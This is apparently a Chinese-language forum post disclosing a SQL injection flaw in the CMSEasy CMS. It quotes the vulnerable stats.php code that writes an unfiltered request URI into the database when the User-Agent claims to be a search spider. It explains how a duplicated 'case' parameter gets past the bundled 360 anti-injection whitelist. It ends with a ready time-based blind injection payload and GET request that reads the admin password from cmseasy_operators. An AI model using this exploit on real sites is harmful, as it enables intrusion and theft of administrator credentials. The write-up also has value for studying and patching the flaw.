注入..但是木回显 盲注了..

index.php 84行

stats::getbot();

由于初始化的时候也没对$_SERVER做过滤的什么措施 导致的注入



stats.php 13行到78行

getbot 这个功能是看蜘蛛的记录

$_SERVER 没过滤

我们只需要把HTTP_USER_AGENT伪造成蜘蛛的就ok了
 

public static function getbot() {
        $ServerName = $_SERVER["SERVER_NAME"];
        $ServerPort = $_SERVER["SERVER_PORT"];
        $ScriptName = $_SERVER["SCRIPT_NAME"];
        $QueryString = $_SERVER["QUERY_STRING"];
        $serverip = $_SERVER["REMOTE_ADDR"];
        $GetLocationURL=self::geturl();
        $agent1 = $_SERVER["HTTP_USER_AGENT"];
        $agent=strtolower($agent1);
        $Bot="";
        if(strpos($agent,"googlebot")>-1) {
            $Bot = "Google";
        }
        if(strpos($agent,"mediapartners-google")>-1) {
            $Bot = "Google Adsense";
        }
        if(strpos($agent,"baiduspider")>-1) {
            $Bot = "Baidu";
        }
        if(strpos($agent,"sogou")>-1) {
            $Bot = "Sogou";
        }
        if(strpos($agent,"yahoo")>-1) {
            $Bot = "Yahoo!";
        }
        if(strpos($agent,"msn")>-1) {
            $Bot = "MSN";
        }
        if(strpos($agent,"soso")>-1) {
            $Bot = "Soso";
        }
        if(strpos($agent,"iaarchiver")>-1) {
            $Bot = "Alexa";
        }
        if(strpos($agent,"sohu")>-1) {
            $Bot = "Sohu";
        }
        if(strpos($agent,"sqworm")>-1) {
            $Bot = "AOL";
        }
        if(strpos($agent,"yodaobot")>-1) {
            $Bot = "Yodao";
        }
        if(strpos($agent,"iaskspider")>-1) {
            $Bot = "Iask";
        }
        if(strlen($Bot)>0 &&!front::get('admin_dir')) {
            $stats = self::getInstance();
            $insert = $stats->rec_insert(array('bot'=>$Bot,'url'=>$GetLocationURL,'ip'=>$serverip,'time'=>date('Y-m-d H:i:s'))); //拼接语句 然后进入了查询 但是并没有回显 我们只好 盲注了。时间的..
        }
    }
    public static function geturl() {  这里 初始化的时候没有过滤..
        if(!empty($_SERVER["REQUEST_URI"])) {
            $scrtName = $_SERVER["REQUEST_URI"];
            $nowurl = $scrtName;
        }else {
            $scrtName = $_SERVER["PHP_SELF"];
            if(empty($_SERVER["QUERY_STRING"])) {
                $nowurl = $scrtName;
            }else {
                $nowurl = $scrtName."?".$_SERVER["QUERY_STRING"];
            }
        }
        return (isset($_SERVER["HTTPS"])&&$_SERVER["HTTPS"] == "on")?'https://':'http://'.$_SERVER['HTTP_HOST'].$nowurl;
    }

这里还有个引入了360防注入的 很好绕过


 

$webscan_white_url = array(
array('index.php' => 'admin_dir=admin'),
array('index.php' => 'case=file'),
array('post.php' => 'job=postnew&step=post'),
array('edit_space_info.php'=>''),
array('index.php' =>'case=admin')
);

里面有个 url 白名单

我们只需要

ndex.php?case=file&case=index

这样就行了. case被后面覆盖了~



exP：
 

/cmseasy/index.php?case=file&case=index&u=',(sELECT(IF(MID(PASSWORD,2,1)>'1',SLEEP(2),'OK'))FROM(cmseasy_operators)),'0')#

 

 

GET /cmseasy/index.php?case=file&case=index&u=',(sELECT(IF(MID(PASSWORD,2,1)>'1',SLEEP(2),'OK'))FROM(cmseasy_operators)),'0')# HTTP/1.1
